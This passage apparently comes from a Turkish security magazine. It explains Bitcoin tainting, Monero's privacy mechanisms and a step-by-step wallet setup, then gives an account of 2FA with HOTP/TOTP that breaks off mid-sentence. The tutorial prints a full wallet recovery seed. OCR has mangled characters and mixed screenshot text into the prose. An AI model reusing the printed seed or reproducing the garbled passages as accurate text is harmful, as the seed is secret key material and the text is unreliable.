Bu senaryoyu ciddiye almadu iseniz, 2017 yilinda Antalyada iglenen Bitcoin cinayeti haberini okumanizi tavsiye ederiz.!

Hesap hareketlerinin seffaf olmasi, sivil toplumlar, aday kampanyalari i¢in ideal olabilir. Fakat kripto paralari finansal gizlilik ve
giivenlik i¢in tercih edenler icin bir felaket olacag: acik.

Yukarida 6rnekledigimiz hayati risk yaninda, tiim finansal varliginiz1 tehdit edecek baska senaryolar da mevcut. Bunun i¢in
oncelikle iki kavrama goz atmaliyiz. Fungibility ve Tainting kavramlari.

Fungibility ve Tainting

Finansal bir terim olan fungiblity yani takas edilebilirlik, ayn1 finansal degere sahip iki maddi degerin birbirlerinin yerine
kullanilabilmesine verilen isimdir. Ornegin sizin cebinizdeki 1 TL ile benim cebimdeki 1 TLnin piyasadaki alim giicti aynidir.
Uzerinde ne sizin, ne de benim adim yazar. Dolayisiyla gayr1 megru yollardan edinilmis 1 TL ile megru yollardan kazanilmig 1
TLyi piyasa sartlarindan ayiracak bir dl¢iit yoktur.

BTC’nin sundugu seffaflik, en ¢ok da BTC'nin takas edilebilirligini etkilemektedir. Bu vakaya Tainting denilmektedir. Hatta
bunu bir meslek haline getirmis kuruluslar dahi mevcut.

[} D& e R weooss

‘\}S" CHAINALYSIS CLINTS  PROGUCTS  AICUT  CARIERS

Building trust in blockchains.

1 https://www.ntv.com.tr/turkiye/antalyada-bitcoin-cinayeti,mp2n009eVU6SOFXsIiU3yghttps://www.ntv.com.tr/turkiye/antalyada-bitcoin-
cinayeti,mp2n009eVU6SOFXsIiU3yg




Yasadis1 yollarla elde edilmis bir BTC, transaction loglarindan
derhal tespit edilebilmektedir. Peki bu ayrint1 bizim gibi ab-
destinden stiphesi olmayan kullanicilari neden ilgilendirmek-
tedir?

Bir alnimizin teriyle yaptigimiz ise bir 5deme opsiyonu olarak
BTCi de ekledik diyelim. Fakat elindeki BTCleri gayr1 mes-
ru yollardan, drnegin fidye yazilimlarinin yayarak elde etmis
biri, glintin birinde bizden alisveris yapt1 ise?

Finansal loglarimizda bu kisi ile yaptigimiz alisveris acik ola-
cagindan, ileriki bir tarihte bizim hesabimizin da kara listeye
alinmasi, hesabimiza “tainting” damgas: vurulmasi isten bile
degildir. Bakiyeniz ne olursa olsun bu durumda elinizdeki
BTC’leri harcayamayacaksiniz. Dolayisiyla gergek bir degisim
aract olma iddiasindaki BTC, diger degisim araglarinin en
onemli 6zelligi olan fungiblity yani takas edilebilirlik 6zelligi-
ni yitirmis olacak.

Hevesleri kursaklarinda kalanlar i¢in, iste huzurlarimizda Mo-
nero (XMR)

(%) Monero (XMR)

Monero, ortak iletisim dili olarak tasarlanan Esperanto di-
linde para anlamina gelen Mono ve bir cismin en kiigiik ha-
lini ifade eden -ero takist ile tiiretilen bir kelimedir. Monero
kendine sembol olarak XMR harflerini se¢mistir. Kripto para
borsalarindan Monero hareketlerini bu kisaltma ile takip ede-
bilirsiniz.

Moneroyu tarihsel olarak ByteCoin ile iligkilendirebilmek
miimkiin. CryptoNote omurgas: iizerine 2012de gelistirilen
bir kripto para ByteCoin, 6zellikle de gondereni gizli tutmak
konusunda bagarili bir teknik olan Ring-Signature’1 kullanan
yani islemi imzalamak i¢in pek ¢ok alicinin public anahtari-
ni1 kullanan bir altyapiya sahipti. Nitekim bugiin dahi gizlilik
vaad eden kripto paralar bu protokolii kullanmaktadir.

ByteCoin ile ilgili her sey iyi hostu, fakat coin’lerin ytizde
80’inin mine edilmesi yeni bir ¢atallanmaya sebep oldu ve or-
taya Monero ¢ikt1. Onceleri BitMonero olarak anilsa da sonra
da kisaca Monero olarak anilmaya devam edildi.

ABD i¢ Giivenlik Bakanhigi’nin Monero ve Zcash
gibi gizlilik odakh kripto paralarla yapilan

islemleri izleyebilmenin yollarini arastirdigi
ortaya ¢ikti. Kaynak: @uzmancoin

Arka Kapi Dergi - Kripto Para Monero (XMR) ARKA KAPI

Monero’nun avantajlari nelerdir?

Monero hem gondericiyi, hem alicty1 blokzincir igerisinde
gizli tutan, gercek bir gizlilik vaad eden kripto paradir. Bura-
da teknik ayrintilara ¢ok deginilmeyecek, fakat gizliligi nasil
temin ettigine dair agiklamalara kisaca yer verilecektir. Yazi
sonunda verilen referans kaynak ayrintilar1 merak eden okur-
lar1 tatmin edecek kifayettedir.

Monero bunu nasil basariyor?

Oncelikle gondericiyi gizli tutmak i¢in Ring-Signature olarak
adlandirdig: bir sistem kullanmaktadir. Monero bir islemi sis-
temdeki kullanicilarin public anahtarlari ile imzalayarak gon-
dericinin spesifik bir adrese isaret etmesini engellemektedir.

Fakat blokzincir loglarinda tehlikeli olan bir baska ayrinti1 daha
mevcut. O da yapilan islemlerin tutari. 212.52 XMR olarak bir
islem yaptiginiz1 diisiinelim. Bir T zamaninda boylesi bir mik-
tarda islem yapan c¢ok fazla sayida kisi olmasa gerek. Dolay1-
styla sizin kimliginiz bu tutar tizerinden dahi tespit edilebilir.
Monero bu noktada da gonderilen miktar: gizlemek i¢in Ring-
CT adin1 verdigi bagka bir yéntem kullanmaktadir. Ornegin
20 XMRlik bir transfer yapmak istediginizde bu transfer ali-
crya 8 XMR, 10 XMR ve 2 XMR seklinde gonderilecek, gergek
islem miktar1 boylece gizli tutulmus olacaktur.

Uc Anahtar (Public Key, Private View Key,
Private Spend Key)

Doksanlarin siyasetinde se¢menlere {i¢ anahtar vaad etmek
moda idi. Araba, ev ve isyeri. Monero da size {i¢ adet anahtar
vaad ediyor. Fakat diizen siyasetcilerinin bagvurduklari bir il-
liizyon ile sizi yaniltmak i¢in degil, sizin finansal bilgilerinizin
pesine diisen koti niyetli kisileri yaniltmak igin.

Bu anahtarlar Public Key, Private View Key, Private Spend Key

Bir Monero ctizdani olustururken, bu anahtarlarin olusturula-
cag1 bir seed kullanilmaktadir. Ornegin bu yazi i¢in olustura-
cagimiz clizdanda agagidaki seed kullanilmigtir:

“cuddled moat lagoon lamb rest leech upcoming dozen sword
keyboard smuggled liar rover efficient tribal dyslexic token in-
jury domestic snout problems cool tiger upwards problems”

Bir tohumdan (seed) ti¢ dal filizleniyor gibi diisiinebilirsiniz.
Seed’inizi ele gegiren biri Monero géndermek ve almak igin
ihtiya¢ duyacag: diger tiim anahtarlara sahip olacaktir. Dolay1-
styla bu seed’i gizli tutmanizi siddetle tavsiye ederiz.

Peki seedden hareketle olusturulan bu ii¢ anahtar nedir?

Public Key: Size Monero gondermek isteyen alicilara verece-
¢giniz adresinizdir. Bu adresi paylasmanizda bir mahsur yoktur.
BTC adresi gibi bu adresin bilinmesinden 6tiirii finansal gizli-
liginize dair herhangi bir bilgiye ulagilamayacaktir. Ayrintilar
agagida isleyecegimiz Stealth Address basligina birakiyoruz.
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2018de Moneroda yapilan bir giincelleme ile public address
altinda sinirsiz sayida subaddress agabilmenize imkén verilen
bir gelistirme yapildi. Ransomware diinyasina kisa da olsa goz
atmis kullanicilar hatirlayacaktir. Viriisiin bulagtirildigi her
bir client i¢in ayr1 bir BTC ciizdani olusturan viriis simsarlari,
boylelikle transactionn gelip gelmedigini rahatlikla kontrol
edebilmektedirler. 2018'de yapilan giincellemeden 6nce Mo-
nero kullanicilar1 bir gondericiyi, diger baska bir gonderici-
den ayirmak i¢in ¢esitli yontemler kullaniyorlardi. Bunlardan
biri de Transaction ID idi. Moneronun en biiyiik vaadi gizlilik
oldugu i¢in gondericilerin kimliginin gizli olmasini yadirga-
mamalisiniz. Giivenlik ve konfor ikileminde, giivenlik verip
biraz konfordan olan Monero kullanicilar: Transaction ID gibi
yontemlerle bu soruna ¢oziim bulmuglardi. Ama 2018 giin-
cellemesindeki sinirsiz subaddress bu dolambagli yollara karsi
gercek bir ¢6ziim sundu. Artik transaction’, subaddress’i kul-
lanarak diger transaction’lardan ayirabilmek miimkiin olacak.

Stealth Address: Moneroda blokzincirinde islemler olustu-
rulurken alicinin adresini gizlemek igin Stealth Address adi
verilen ve kullanicinin public address’i ile iliskilendirilemeye-
cek bir deger kullanir. Dolayisiyla BTC 6rneginde karsimiza
¢ikan, adresinizi bilen birinin tiim finansal gizliliginize erise-
bilme tehlikesi bertaraf edilmis olur.

Private-View Key: Monero blokzincirinde size gonderilen
degerlerin Stealth Address ile gizlendigini belirtmis idik. Peki
sizin clizdaniniz buradaki hangi degerlerin size gonderildigini
nasil algilayacak? Private-View Key ile! Bu anahtar sayesinde
blokzincirinden sizin ciizdaniniza ait transaction’lar okuna-
bilir duruma gelecektir. Bu bir nevi read-only bir anahtardr.
Finansal gizliliginiz i¢in bu anahtar1 paylasmamanizi 6neririz.

Private-Spend Key: Bu Monero blockzincirinde sizin ciizda-
niniz ile islem yapilmasina olanak veren anahtarinizdir. Asla
ve kata kimse ile paylasilmamalidir.

Monero hakkinda bu kadar teorik bilgiden sonra, simdi Mo-
nero client’1 kuralim ve ciizdanimizi olugturalim.

Hem GUI hem de CLI 6zellikleri bulunan Monero Clientini
https://www.getmonero.org/downloads/ adresinden indi-
rebilirsiniz. Yazi yazildig1 esnada giincel versiyon monero-
gui-v0.13.0.4 idi.

Indirilen arsiv dosyas1 extract edildiginde klasdrde kullanimi-
za hazir uygulamalar ile kargilacaksiniz:

~
Name

[2] libwinpthread-1.dil
monero-blockchain-ancestry.exe
monero-blockchain-depth.exe
monero-blockchain-export.exe
monero-blockchain-import.exe
monero-blockchain-mark-spent-outputs....
monero-blockchain-usage.exe
monerod.exe
monero-gen-trusted-multisig.exe

£ monero-GUI-guide.pdf

monero-wallet-cli.exe

@ monero-wallet-gui.exe

monero-wallet-rpc.exe

|_'| opengl32sw.dll

la] rRrara Al
monero-wallet-gui.exe Windows araylizii i¢in, monero-
wallet-cli ciizdan yonetimini komut istemcisi ile yapabilmeniz
i¢in, monero-wallet-rpc ciizdana erisim i¢in bir RPC servisi
baslatmaniz i¢in klasorde bulunan ¢alistirilabilir dosyalardan-

dir.

Biz Windows arayiizii ile devam edecegiz: monero-wallet-gui.
exe

Uygulama calistirildiginda hangi dil tercihi ile devam edecegi-

mizi soran bir ekran bizi karsilayacak:

Welcome to Monero!

Please choose a language and regional formal.

= F—3 ®
a ()
e -

English (US) Deutsch Esperanto Espariol Frangais
® 2 - * 0
ww -

Svenska Hrvatski Magyar Bahasa Indonesia ltaliano
L] . &
4 w -

B33 Nederlands Polski Portugués (PT) Porlugués (BR)



Ikinci ekranda ise var olan bir ciizdan1 m1 kullana-
cagimiz, yoksa yeni bir clizdan m1 olusturacagimiz
sorularmin yanitlarinin beklendigi ekrandir. Bu
ekranda ayrica bir ciizdan dosyasini import edebi-
lir ya da donanimsal bir ciizdani kullanabilirsiniz:

Create a new wallet
Wallet name

arkakapitest

cuddled moat lagoon lamb rest leech upcoming dozen sword keyboard smuggled
liar rover efficient tribal dyslexic token injury domestic snout problems cool tiger

upwards problems

This seed is very important to write down and keep secret. It is all you need to backup

and restore your wallet.

Your wallet is stored in: D: Documents/Monero/wallets/

D locuments/Monero/wallets/

Bu ekranda ayni zamanda olusturacagimiz ciizdana
bir isim verebilir ve ciizdanin kayit edilecegi dosya
yolunu belirtebiliriz.

Siradaki ekranda ise clizdana erisim i¢in bir parola
belirlememiz ve ikinci kutuda da bu parolay1 dog-
rulamamiz beklenmekte.

Arka Kapi Dergi - Kripto Para Monero (XMR) ARKA KAPI

Welcome to Monero!

Please select one of the following options:

Restore wallet from Create a new
Create a new : Open a wallet from
keys or mnemonic wallet from
wallet file :
seed hardware device

Advanced options w

“Restore wallet from keys or mnemonic seed” ise,
yukarida 6zetledigimiz Private Key ya da seed ile
hali hazirda var olan bir ciizdaniniza erismek igin

kullanilabilir.

Biz “Create New Wallet” segenegi ile yeni bir cliz-
dan olusturacagimizi belirtiyoruz.

“Create a New Wallet” dedikten sonra, clizdanimiz
E i¢in olusturulan seed’i gormekteyiz:

Give your wallet a password

Note: this password cannot be recovered. If you forget it then the wallet will
have to be restored from its 25 word mnemonic seed.

Enter a strong password (using letters, numbers, and/or symbols):
Password

Confirm password e

S low Medium High

Bu parola ciizdan: sadece PC’ye erisim elde eden kullanicilardan koruyacaktir. Parolay:r unutursaniz size hatirlatilmasinin
imkani yoktur. Tekrar seed ya da private key’inizi kullanip ciizdaniniza erigebilirsiniz. Onemli bir nokta olarak hatirlatmakta
fayda var, bu parola sadece ctizdan1 kurdugunuz PC i¢in gegerlidir. Private Key ya da seed’inizi elde eden bir saldirgan bu paro-

laya ihtiyaci olmaksizin ciizdaninizi kullanabilir.
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Parolay: set ettikten sonra bizi karsilayacak bir di-

. . . . . . b} . L ‘
ger ekran, 6nemli bir ayar: icermektedir. PC’mize Daemon settings
kurdugumuz client islem yapabilmek i¢in 6ncelikle
Monero blokzincirine eri@meli, buradan hareketle To be able to communicate with the Mone_ro ne_twork your wallet needs to be
. . L. . K connected to a Monero node. For best privacy it's recommended to run your
ciidanimizin bakiyesini almali ve islem yapabilme- own node.
li. Peki bunu nasil Yapacak? Bunun 1(;111 kar$1m1z— If you don't have the option to run your own node, there's an option to connect
da iki segenek var. Bunlardan ilki tiim bir Monero WE ek ocs.
blOkZlIlClI'lIllIl blI' kopyasml bllglsayarlmlza lndlrlp ( 0 Start a node automatically in background (recommended)
local bir node seklinde kullanmak, digeri ise her de-
. S . . . S,s;gii‘&»{ Blockchain location
fasinda remote bir node’a baglanip bu node tizerin- &)
den islem yapmak. Giivenli olan yontem local bir
node baslatip her defasinda remote nodea baglan- BRI N LT )
mamay! tercih etmek.
( ) Connect to a remote node
Eger remote bir node’a baglanmayi tercih ederse-
LX R
niz ipteki bir ctizdan Monero terminolojisin ;
: bu tipteki bir clizdan Monero te olojis de You're all set up!
Light Wallet olarak adlandiriliyor. Ayni sekilde web e S
ciizdan’lar1 da mevcut ama bunlar1 kullanmanizi .
anguage English (US)
tavsiye etmiyoruz. Wallet name arkakapitest
Backup seed
Biz node ayari olarak local’i sectik. Yani bilgisaya- Wallet path DY DocumentsMonerofwallets/
rimizda arka planda galigacak bir process Monero remen s nes Mt
. L. . . . . Network Type Mainnet
blokzincirinin bir kopyasini bilgisayarimiza indire-
cek. Bu process ayni zamanda bir port {izerinden de
hizmet verecek.
USE MONERO
“Use Monero” yazan butona bastiginizda artik ctiz- J§ @ MONERO
daninizi goriintiileyebilirsiniz. Tabii daemon adi
. . e . . . . Amount T n pricrity
verilen process blokzincirinin bir kopyasini indir- @ wmonero il
. Balange (all Automatic
dikten sonra. 0.000000000000 . e A
Unlocked balance =W
Biz bu yazi1 i¢in Remote bir node’a baglanmayi ter- ALLEITIEEL e
cih ettik.

@ send
Payment ID

Her sey tamam oldugunda sizi asagidaki gibi bir ek-
ran karsilayacak:

Address book
= R
Histary
® Advanced

* Seftings

Remote node

Wallet is synchronized

Daeman is synchronitzed {1760683)
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Yukarida bir baska hesaba Monero gonderebilece- |8 & MONERO

giniz Send meniisiinii gormektesiniz. Address ala-

nina tabii ki alicinin adres bilgileri (public key’i) ya- & MoNErRO

zilacak, Amount gonderecegiz miktar. Tercihe baglh il : e

Payment ID alani ise alicinin sizi diger gonderiler- Unlocked balance 4uEZNia. 3mpFSeWiobe
HIDDEN

den ayirabilecegi degeri igerecektir. Description ise
sizin kendi clizdaniniza kaydedilecek bir hatirlatma
notu olarak diisiiniilebilir.

Send

. Recelve e Tracking

Receive meniisii ise bir 6deme almak icin ihtiyag History
duydugunuz tiim fonksiyonlar: iceren baska bir [Eees——",
menil. Burada Primary Addressde birincil pub-
lic adresinizi goriiyorsunuz. Yazi basinda da ifade
ettigimiz gibi bu adrese bagli N adet subaddress
olusturabilmek miimkiin. Bu adreslere isim de ve-
rebilirsiniz.

= Settings

Remote node
‘Walbat is synchronized

Daeman is synchronized (1760686)

Adres ve talep edilen miktar ile ilgili QR kod da olugturulabilmekte.

I\;Ilonerq gizlilige il;{tiya(; duyarlllarlrll eri1 gol\ljI tercih,ettilg;;i kkripto para tlurzll ZCash gibi gizliligle First edition
ehemmiyet veren kripto paralar olsa da Monero’yu bu kripto paralardan ayiran en 6nemli

ozellik gizliligi bir tercih olarak degil, varsayilan davranis bi¢imi olarak sunuyor olmasi. MASTERlNG MDNERU
Yani Monero kullanicilari igin gizlilik bir tercih degil, sistemin isleyisi agisindan bir zaruret. The future of private transactions

Monero networKiine baglanan bir kullanic1 olarak desifre edilmenizin 6niine ge¢mek is-
teyen gelistiriciler Kovri adinda P2P bir protokol gelistirildi. Monero géniilliileri her giin
sistemi iyilestirmek icin ¢aligmalarina devam etmektedir. Siz de bir gelistirici olarak, bir
¢evirmen olarak ya da Moneronun imkéanlarini ¢evrenize anlatip daha fazla kullanilmasina
yardimci olarak destek olabilirsiniz.

Monero hakkinda daha ayrintili teknik bilgiye ulagmak isterseniz SerHack isimli rumuzu
kullanan Italyan giivenlik aragtirmacisinin kaleme aldig1 Mastering Monero isimli kitab
okumanizi siddetle tavsiye ediyoruz. Kitap en mesakkatli kriptoloji konularini dahi yarati-
a1 Orneklerle anlatarak, sistemin isleyisindeki harikulade ayrintilar1 agikliga kavusturmak
maksadini giidiiyor. Ozellikle de Monero blokzinciri i¢in yazarin bagvurdugu taksi durag: v orhack

ornegi takdire sayan. s Y

Kitab1 edinmek i¢in www.masteringmonero.com adresini ziyaret edebilirsiniz.

Monero sadece bir kripto para degil, gercek anlamda gizlilik ve 6zgiirliige 6nem veren bir hareket. Bunun en ¢arpici 6rnegi
kitapta okuyacaginiz mining konusunda yapilan giincelleme.

Kripto para tasarlanirken son kullanicinin kendi imkénlari ile mine edebilecegi varsayimu ile gelistirildi. Bir web tarayicisi, hatta
bir mobil telefon islemcisi ile bile mine edebilmek miimkiin. Nitekim CryptoJacking denilince yani browser’larda kripto para
mine edilmesi denilince akla tek gelen paranin Monero olmasi bosa degil.

ASIC miner’larin Monero madenciliginde avantajli duruma ge¢meleri, ve bu islemcilerin siradan kullanicilarin alim giictintin
tizerinde olmas1 Monero toplulugunu bu haksiz rekabate tepki vermeye itti. Nitekim mining islemlerinde ASIC’lerin mukaye-
seli Gistiinliiglini, bir dezavantaja ¢evirecek giincellemeyi olabildigince ¢abuk hayata gecirdiler. Ayni sekilde her 6 ayda bir yap-
tiklar1 glincellemeler ile mining algoritmasinda kii¢iik degisiklikler ile Monero mining i¢in ASIC tiretiminine bir nevi caydirici

etkide bulunuyorlar.

Iste hacker kiiltiiriiniin ihtiya¢ duydugu gercek 6zgiirlitk ruhu! Ayni fikirdeyiz degil mi?
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2FA’da Giivenlik Savaslart

|
@ I | \
L o
:
,

erhaba, bu yazimizda yeni nesil internet giivenli-
M gini saglamay1 amaglayan iki asamali dogrulama
(2FA) teknolojisi ve bu teknolojiyi kolaylikla kul-
lanmamizi saglayan en yaygin iki uygulamadan bahsedecegiz.

Cok etkenli dogrulama (MFA), sisteme giris ve yetkilendirme
oncesinde kullanicinin dogrulanmast i¢in iki ya da daha fazla
kanit gerektiren giivenlik modelidir. Bu modelde kanitlar {i¢
ana kategoriye (faktor) ayrilir ve her kanitin farkli kategori-
den olmasina 6zen gosterilir. Bu sayede kullanici birden ¢ok
dogrulama agamasindan ge¢mekte ve bagimsiz asamalarin
kullanilmasi sonucu bir asamanin yarattig1 giivenlik riski di-
ger agamalar1 etkilememektedir. Ug kategori asagidaki gibi si-
ralanabilmektedir,

Bildiginiz bir bilgi:

Buradaki asil amag, sistemi kullanmak istediginiz siire bo-
yunca daima hatirlamaniz gereken, size ait ve gizli bir bilginin
kullanilmast ile dogrulama yapmaktir. Bu bilgi bir parola, kul-
lanicr ady, PIN, PUK, imza, giivenlik sorusu ve cevabi olabilir.

Sahip oldugunuz bir arac:

Buradaki amag, sadece size ait olan, kisiye 6zel tasarlanmis ve
sistemin diger kullanicilarinin sahip olamayacag: fiziksel bir
aracin kullanilmasi ile dogrulama yapmaktir.

Bu arag bir telefon (uygulama), akill: kart, RFID kart1 , OTP
cihazi ve e-imza seklinde elektronik olabilecegi gibi ayni za-
manda QR kod, kabartma ve farkli boyalar (para) gibi elekt-
ronik olmayan yontemler de kullanilabilmektedir. Bir de ek
olarak telefon hatti1 (SMS) ve arama ile dogrulama gibi farkli
kanallar sayesinde dogrulanan bilgiler de bu aracin tanimina

II

Size ait olan bir ozellik:
Buradaki amayg, size ait olan ve diger kullanicilara gére farklilik
gosteren bir fiziksel 6zelligi kullanarak dogrulama yapmaktir.

dahildir.

Bu o6zellik parmak izi, retina, avug ici, el damarlari, kemik ve
ylz yapis1 gibi yapisal 6zellikler olabilecegi gibi klavye kulla-
nimi, yazim bigimi, yaz: stili, konusma sekli (aksan ve ton) ve
benzeri sekilde diisiinerek 6grendigimiz ama dogal olarak uy-
guladigimiz davranissal bilgiler de kullanilabilmektedir

http://biometrics.mainguet.org/types/fingerprint/fingerp-

rint_sensors physics.htm
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Iki etkenli dogrulama ise en yaygin kullanilan ¢ok etkenli
dogrulama yontemidir. Bu yontem ile iki farkli kategoriden
(faktor) iki adet kanit kullanimi ile dogrulama saglanir. iki
asamali dogrulama ile iki etkenli dogrulama c¢ok karistirilan
kavramlardir bu nedenle kiigiik bir agiklama yapmak gerekir-
se, iki agamali dogrulama kullanicidan iki farkli kanit talep
eder. Bu kanitlar farkl1 faktérlerden (goz taramasi ve parola)
olabilecegi gibi ayni faktore (parmak izi ve goz/retina tarama-
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s1) ait de olabilir. Tki etkenli dogrulama ise iki kanitin da bir-
birlerinden farkli faktérlere ait olmasini gerektirir. iki etkenli
dogrulamada bir faktorde olusabilecek zafiyetler oteki faktor-
lerden olabildigince izole tutulmaya ¢alisilir. Bu durumda iki
etkenli dogrulama iki agamali dogrulamadan daha giivenlidir.

Iki etkenli dogrulamayi sistemlerine entegre eden birgok fir-
ma bulunmakta. Bu firmalarin bir kismi kendi ¢oztimlerini
gelistirmis olsa dahi biiyiik bir ¢ogunlugu 3. parti uygulama-
lara giivenmektedir. Rakipleri tanimadan 6nce sahanin bir
diger ucunda bulunan Applein yaklasimini da incelemekte
fayda var.

https://blog.elcomsoft.com/2016/04/apple-two-factor-
authentication-vs-two-step-verification/

[=] 3] [m]
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Apple ilk olarak 2013 yilinda getirdigi iki adimli dogrulama
ozelligi sayesinde kullanicilarin Apple ID bilgileri kullanilarak
yapilabilecek islemleri daha da giivenli kilmayr amaglamistir.
Bu 6zelligi kullanan kullanicilar i¢in iCloud ve Apple ID girisi
esnasinda ya da yeni bir cihaz ile yapilan ilk aligveriste ikincil
bir dogrulama adimi gerekli hale getirilmistir. Ikinci adimdaki

givenlik kodlari ise asagida belirtilen yontemlerden birisi ile
alinabilmektedir.

o Giivenilir bir cihaza yapilan bildirim,

o Kayitli bir numaraya SMS ya da arama,
o Cevrimdist kurtarma anahtari,
 Uygulamaya 6zel parolalar.

Iki adimli dogrulama ise Apple cihazlarindan ya da My Apple
ID iizerinden aktif hale getirilebilmektedir.

Apple, 2015 yilinda iOS 9 ve OS X El Capitan ile birlikte ya-
yimnlanan iki faktorlii dogrulama ile iki adimh dogrulama yon-
temini gelistirerek kullanicilara daha giivenli bir alternatif
sunmay! amaglamistir. Bu dogrulama yontemi iOS 9 ve son-
rasindaki cihazlar i¢in gegerlidir ve eski cihazlar bu 6zellikten
faydalanamamaktadir. Iki faktérlii dogrulamada ise ayni fak-
tori kullanmalar1 nedeniyle ¢evrimdisi parolalar ve kullanim
karmagsiklig1 yaratmasi nedeniyle uygulama bazli parolalar
bulunmamaktadir. Bunun yerine ¢evrimdisi, zaman tabanl

kod yaratic1 (kodmatik) ve 6 haneli kimlik dogrulama kodu
uygulamaya koyulmustur. 6 haneli kodun paroladan ¢ok fark-
I1 olmadigini duyar gibiyiz. Evet, ¢linkii 6 haneli kod destegi
eski cihazlar i¢in sunulmustur. iOS 9dan eski cihazlarda giris
yapilirken bu 6zellik aktif ise ekstra 6 haneli bir kimlik dogru-
lama kodu talep edilmektedir. Bu 6zelligin aktif edilmesi i¢in
iki adimli kimlik dogrulama 6zelliginin pasif hale getirilmesi
gerekmektedir ve ozellik aktiflestirildiginde hesabiniza kayitl
eski bir cihaziniz bulunmaktaysa, eski parola ile birlikte 6 ha-
neli kod girilmesinin gerekli olabilecegini belirten bir uyari ile
karsilagmaktasiniz.

Apple'n yaklasimindan sonra konunun uygulanmasi konu-
sunda fikir sahibi olmamizin gerefine rakipleri ve bize sun-
duklar: avantajlar1 tanryalim.

Mavi kosede, sundugu hizmetler sayesinde internet {izerinde
baskan bir gii¢ haline gelen Google ve uygulamasi Google Aut-
henticator bulunmakta. Bu uygulama, kullanilan servislere za-
man bazli OTP (TOTP) ve Hmac bazli OTP (HOTP) saglaya-
rak giris yapmanizi amaglar.

Bu sayede Google Authenticator (ya da ayn1 algoritmay: calig-
tiran bagka bir uygulama) olmadan hesabiniza giris yapamaz-
siniz. HOTP algoritmasinda uygulama ve web servisi bir gizli
veri (secret) ile bir sayag (counter) verisini ortak bir sekilde
paylasirlar. Uygulama her yeni kod iirettiginde sayag iki tarafli
olarak arttirilir ve bu sayede senkronizasyon saglanir. HOTP
sistemlerinin en kritik problemlerinden biri ise saya¢ degeri-
nin senkronizasyonudur. Sayag degeri iki taraf icin de ayni ol-
malidir, aksi taktirde tiretilen kodlar birbiri ile uyugmaz.

Ag veya uygulama kaynakl bir hatadan dolay1 ortaya ¢ikabi-
lecek ortak saya¢ problemlerine kargt REC4226 dokiimaninin
7.4 bolumii bir agiklama getirmistir. Bu béliime gore kontrol
eden taraf bir ileri bakis (look ahead) degerine sahip olmalidur.
Bu deger sayesinde saya¢ degeri ve sonrasinda gelen ileri ba-
kis kadar deger kullanilarak HOTP hesaplanir ve eger sonraki
degerlerden birisi eslesiyor ise senkronizasyon saglanmis olu-
nur. Bu degerin ¢ok yiiksek verilmesi ya da sinirsiz olmasi, her
eslesmeyen kod i¢in kontrol eden tarafin uzun bir siire HOTP
hesaplamasi anlamina gelmektedir ve bu da DoS/DDoS saldi-
rilarina yol agmaktadir.

Eger ileri bakis degeri ¢ok kisa tutulursa bu sefer de senk-
ronizasyon hatalar1 ortaya ¢ikabilmektedir. Bu nedenle ileri
bakis degeri dikkatlice se¢ilmelidir. HOTP Senkronizasyon
problemlerinin farkli bir ¢6ziimii ise, sirali bir sekilde verilen
birkag HOTP degerinin girilmesidir. Bu durumda dogrula-
yan taraf aldig1 sirali HOTP degerlerini kendi trettigi deger-
lere karst kontrol eder ve dogru siray1 tahmin ettikten sonra
saya¢ verisinin eslesmesini saglar. TOTP algoritmasinda ise

.

“HOTPye gore tek fark sayag degeridir. Sayag yerine zaman




verisi kullanilir. Bu zaman verisi iki sistem i¢in de ortak ve
hassas olmalidir, bu nedenle hesaplamalarda genellikle Unix
Epoch zamani kullanilir. Iki sistem de NTP protokolii ile za-
man verisini giincel tutmalidir. Saglanan kod her seferinde
degismek yerine zamana bagli (6r. 30 saniyede bir) degisim
gosterir. Bu nedenle Unix Epoch zamaninin bir bélimii (30
saniye icin 30da 1’i) kullanilir, bu nedenle kodun degismesi
ne kadar uzun siirer ise hassaslik da o kadar azalmaktadir.
Zaman kullanimi sonucunda ortaya ¢ikan oteki problem ise
sunucularda bulunan diger uygulamalardir. Eger sunucuda
bulunan diger uygulamalar zaman verisini disariya sizdirtyor
ya da zaman verisi herkesin erigebilecegi ortak bir kaynak tize-
rinden kullaniliyor ise bir sonraki kodu tahmin etmek daha
da kolay hale gelir. Yine de saldirganlarin gizli degeri bilmeleri
gerekmektedir ama sistemi koruyan iki degerden (gizli veri ve
zaman) birisi atlatilmis olur. Google Authenticator uygulama-
sin1 li¢ adimda daha kolay inceleyebiliriz;

1.) Yeni hesap ekleme

Google Authenticator uygulamasina yeni bir hesap eklerken
ortaya ¢ikan gizli anahtar eslestirmesi problemini, kamera ile
gekilen bir QR kod ya da el ile girilen gizlilik verisi ile ¢oz-
miistlir. Bu sayede kullanici gizlilik verisini kendisi eslestirir
ve ekleme sirasinda sistem (sunucu), kullanici (uygulama)
ile bir baglanti yapmaz. Bir baglantinin olmamasi ve sadece
gizlilik verisinin el ile eslestirilmesi nedeniyle zaman, uygu-
lamanin bulundugu sistem (telefon) tarafindan saglanilir. Bu
nedenle uygulamanin bulundugu sistemin zamaninin dogru
olmasi gerekmektedir aksi taktirde eslesme problemleri ortaya
¢ikmaktadir.

2.) Var olan hesabi kullanma

Google Auth kullanan bir servise giris sirasinda sizden talep
edilen veriyi uygulama tarafindan olusturup, paylasmaniz ge-
rekmektedir. Bu veri HOTP igin, o anki sayag degeri (6r, 10)
ile sonraki ileri bakis kadar saya¢ degeri (6r, 20 bu da counter
10-30 aras1 demek) kullanilarak hesaplanan HOTP degerine
kars1 kontrol edilir ve eslesme bulunan degere gore sayaclar
esitlenir. Google, kullandigt HOTP ileri bakis degerini acik-
lamamaktadir ama yakin bir rakibi olan Yubikey firmasinin
dokiimanlarinda bu degerin 50-80 arasinda olmasinin ideal
oldugu ve 100’ gegmemesi gerektiginden bahsedilir. Zaman
bazli (TOTP) yonteminde ise iki taraf zamana bagli kod iire-
tir ve uygulamanin irettigi kod kullanici tarafindan sisteme
girilir. Sistemdeki kod eslesmiyor ise zaman problemi ortaya
cikar ve iki sistemde de zamanin esitlenmesi/giincellenmesi
gerekmektedir.

3.) Hesap silme/tasima

2FA kullanan sistemlerde hesap islemleri self servis ve yone-
tici destekli olmak tizere iki sekilde yapilmaktadir. Self servis
yonteminde kullanici, sunucuda bulunan hesap ile ilgili islem-
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leri (sayag degeri degistirme/esitleme, gizlilik verisinin degi-
simi ve hesap silme) kendisi yapabilmektedir. Bu degerlerden
bazilarinin degisimini yetkisiz/az yetkili kullanicilara birak-
mak giivenlik problemleri dogurabilmektedir ve bu nedenle
bu degerlerin sadece belirli bir kismi degistirilebilmekte veya
gortntiilenebilmektedir. Google Auth. kullanan servislerde
hesabin silinmesi i¢in 6ncelikle 2FA kullanilan servise giris
